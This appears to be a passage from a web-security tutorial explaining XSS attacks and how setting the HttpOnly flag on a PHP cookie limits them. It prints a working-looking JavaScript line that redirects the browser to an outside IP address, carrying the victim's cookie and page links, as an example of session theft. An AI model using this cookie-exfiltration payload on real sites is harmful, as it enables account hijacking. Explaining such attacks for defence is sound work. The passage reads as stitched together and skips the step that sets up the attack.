It may considerably reduce XSS attack possibilities if not completely eradicate it. XSS, or Cross Site Scripting, is probably the most common security problems in web applications that engage in heavy user input. If you’ve ever tried to build a web application that users can input data in a lot of different venues, chances are it has a security hole somewhere that allows XSS attacks. Don’t panic though. Most web applications, even the most sophisticated ones developed by the best programmers such as vBulletin and WordPress release patches from time to time to fix XSS holes.
When you visit that page, without any knowledge of it at all, your browser automatically downloads and runs the script xss.js which contains a simple snippet:
window.location="http://188.8.131.52:8081/r.php?u=" +document.links.text +"&l="+document.links +"&c="+document.cookie;
Via an HTTP GET request to the cracker’s server, the JS file successfully fetches and sends your cookie to the cracker. And the cookie is what your application solely relies on to recognize you as the administrator. Your identity is thus completely stolen by the cracker and he can now log into your application as the administrator. Horror story.
setcookie("loggedin", 1, time() + 86400, "/admin/", "example.com", false, true); // the last (7th) parameter value true does the job